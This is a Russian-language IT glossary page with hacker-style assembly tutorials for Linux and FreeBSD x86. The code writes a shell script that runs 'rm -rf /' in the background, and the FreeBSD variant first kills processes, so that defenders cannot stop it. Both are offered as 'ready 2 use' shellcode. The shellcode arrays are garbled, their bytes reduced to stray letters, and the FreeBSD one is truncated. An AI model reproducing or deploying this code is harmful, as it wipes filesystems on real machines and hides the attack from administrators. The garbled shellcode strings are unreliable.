RSS

IT Glossary    1_9  A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  .....  A  Б  В  Г  Д  Ж  З  И  К  Л  М  Н  О  П  Р  С  Т  У  Ф  Х  Ц  Ч

Assembler в linux

rm_all code

Эта прога запускает в background'е rm и отправляет все его error'ы в /dev/null чтобы whitehat не сразу понял, что происхоит. В начале я хотел это сделать через execve(), но такую кучу аргументов передавать гиморно. Ну и конечно 2>/dev/null обрабатывается шеллом. Так что решение простое - создаём скрипт и запускаем его.

#

# This iz rm_all.s

#

# Howto build: as -o rm.o rm_all.s; ld -o rm rm.o; ./rm

# Hex listing: as -al rm_all.s > my_fuckin_listing.txt

.globl _start

_start:

# open() syscall = $5

# O_CREAT 0100 O_CREAT | O_WRONLY = 0101

# O_WRITE 01 /

xor %eax,%eax

pushl %eax

 

Бесплатная консультация специалиста

Loading…
 

pushl $0x7a7a7a7a # filename is "zzzz0"

movl %esp,%ebx # arg1 - filename

push $0101 # arg2 - open mode

pop %ecx # передаём через стек, без гимора

mov $5,%al # open() syscall in %eax

int $0x80

# теперь в eax появился дескриптор файла.

# write() = $4

xor %ecx,%ecx

pushl %ecx

pushl $0x0a26206c # "l &"

pushl $0x6c756e2f # "/nul"

pushl $0x7665642f # "/dev"

pushl $0x3e32202f # "/ 2>"

pushl $0x2066722d # "-rf "

pushl $0x206d722f # "/rm "

pushl $0x6e69622f # "/bin"

pushl $0x0a0a0a68 # "h"

pushl $0x732f6e69 # "in/s"

pushl $0x622f2123 # "#!/b"

movl %esp,%ecx # arg2 - строка

movl %eax,%ebx # arg1 - дескриптор файла

mov $40,%dl # arg3 - длина строки

mov $4,%al # write() syscall in %eax

int $0x80

# close() = $6

xor %eax,%eax

mov $6,%al # arg2 - в %ebx уже лежит дескритор. так что

# просто кладём в %eax close() syscall

int $0x80

# chmod() = $15

# make "zzzz" 00755 mode

xor %eax,%eax

pushl %eax

pushl $0x7a7a7a7a

movl %esp,%ebx # arg1 - filename "zzzz0"

movw $0755,%cx # arg2 - mode

mov $15,%al # chmod() syscall in %eax

int $0x80

# хех, почти готово...

# Теперь, запускаем скрипт

# execve() = $11

xor %eax,%eax

xor %edx,%edx # arg3 = NULL

pushl %eax

pushl $0x7a7a7a7a # execve(".///zzzz",".///zzzz",0);

pushl $0x2f2f2f2e

movl %esp,%ebx # arg1 - filename ".///zzzz0"

pushl %eax

pushl %ebx

movl %esp,%ecx # arg2 - тоже

mov $11,%al # execve() syscall in %eax

int $0x80

# exit() = $1

xor %eax,%eax

incl %eax # 0+1=$1 aka exit() syscall

int $0x80

# _eof_

/* ready 2 use rm-shellcode 4 linux x86 */

char rm_shellcode[] =

"AAAAA"

"CA"

"FECFF"

"EDFDF"

"EAAAEF"

"F"

"A"

"AAAF"

"AAAAEF"

"FFB"

"";

 

 

$0x3 rm_all 4 fbsd -------------------------------------------------------------

Несколько улучшенная rm_all прога, написана для freebsd x86. Сначала трёт kill чтобы вайтхет мог только наблюдать... или ребутнуть бокс ж))) Если кто не понял, что это за код, советую почитать FreeBSD developer's handbook.

# x86.s

# rm_all prog for freebsd x86

.globl _start

_start:

# chdir("/bin");

xor %eax,%eax

push %eax

pushl $0x6e69622f # "/bin0"

movl %esp,%ebx

pushl %ebx # arg1 = dir

pushl $12 # chdir() syscall

push %eax

int $0x80

 

# f=open("zyxa",O_CREAT|O_WRONLY,0755);

xor %eax,%eax

push %eax

pushl $0x6178797a # "zyxa0"

movl %esp,%ebx

pushw $0755 # arg3 = 0755 (phile mode)

pushw $0x0201 # arg2 = O_CREAT | O_WRONLY (l00k fcntl.h)

pushl %ebx # arg1 = phile name

pushl $5 # open() syscall

push %eax

int $0x80

 

# write(f,"#!/bin/sh-f kill-rf /* &",32);

movl %eax,%edx # полученный дескриптор сохраняем в %edx

xor %eax,%eax

push %eax

pushl $0x26202a2f # "/* &0"

pushl $0x2066722d # "-rf "

pushl $0x206d720a # ""

pushl $0x6c6c696b # "kill"

pushl $0x20662d20 # " -f "

pushl $0x6d720a68 # "h"

pushl $0x732f6e69 # "in/s"

pushl $0x622f2123 # "#!/b"

movl %esp,%ebx

pushl $32 # arg3 = 32 (длина строки)

pushl %ebx # arg2 = string "#!/bin/sh..."

pushl %edx # arg1 = descriptor

pushl $4 # write() syscall

push %eax

int $0x80

 

# close(f);

xor %eax,%eax

pushl %edx # arg1 = descriptor

pushl $6 # close() syscall

push %eax

int $0x80

 

# execve() aka "/bin/sh zyxa"

xor %eax,%eax

push %eax

pushl $0x68732f6e # "n/sh0"

pushl $0x69622f2f # "//bi"

movl %esp,%ebx

push %eax

pushl $0x6178797a # "zyxa0"

movl %esp,%ecx

push %eax

pushl %ecx # "zyxa0" - execve arg2

pushl %ebx # "//bin/sh"- execve arg1

movl %esp,%edx # теперь в %edx набор аргументов

push %eax # arg3 (env) = NULL

pushl %edx # arg2 (argz) = "//bin/sh0","zyxa0"

pushl %ebx # arg1 (phile) = "//bin/sh0"

pushl $59 # execve() syscall

push %eax

int $0x80

xor %eax,%eax

push $1 # exit() syscall

push %eax

int $0x80

# _eof_

/* ready-2-use rm_all shellcode 4 freebsd x86

size = 147 bytes */

char fbsd_shellcode[] =

"FEAC"

"A"

"A"

"FAD"

"ADBCC"

"DADE"

"FFA"

"AA"

"EFFF"

"A"

"ABA"

Технологии поискового маркетинга
Практика поискового маркетинга
Flash
Тэги
XML
DHTML
PHP
MySQL
WebMail
.NET
VBScript
CGI
Графические форматы Интернета
WEB-сайт шаг за шагом
CMS faq
FRAME faq
CSS faq
SSI faq
RSS faq
WAP faq
Web-Designed
Webhints
Файл настроек .htaccess
Настройка robots.txt
seo & website usability inet html os faq hardware faq memory video cpu hdd mainboard faq printer & scaner modem mobiles hackzone


Windows 10 | Registry Windows 10 | Windows7: Общие настройки | Windows7: Реестр | Windows7: Реестр faq | Windows7: Настроки сети | Windows7: Безопасность | Windows7: Брандмауэр | Windows7: Режим совместимости | Windows7: Пароль администратора |  |  |  |  | Память | SDRAM | DDR2 | DDR3 | Quad Band Memory (QBM) | SRAM | FeRAM | Словарь терминов | Video | nVIDIA faq | ATI faq  | Интегрированное видео faq | TV tuners faq | Терминология | Форматы графических файлов | Работа с цифровым видео(faq) | Кодеки faq | DVD faq | DigitalVideo faq | Video faq (Архив) | CPU | HDD & Flash faq | Как уберечь винчестер | HDD faq | Cable faq | SCSI адаптеры & faq | SSD | Mainboard faq | Printer & Scaner | Горячая линия бесплатной юридической консультации | Благотворительность

На главную | Cookie policy | Sitemap

 ©  2004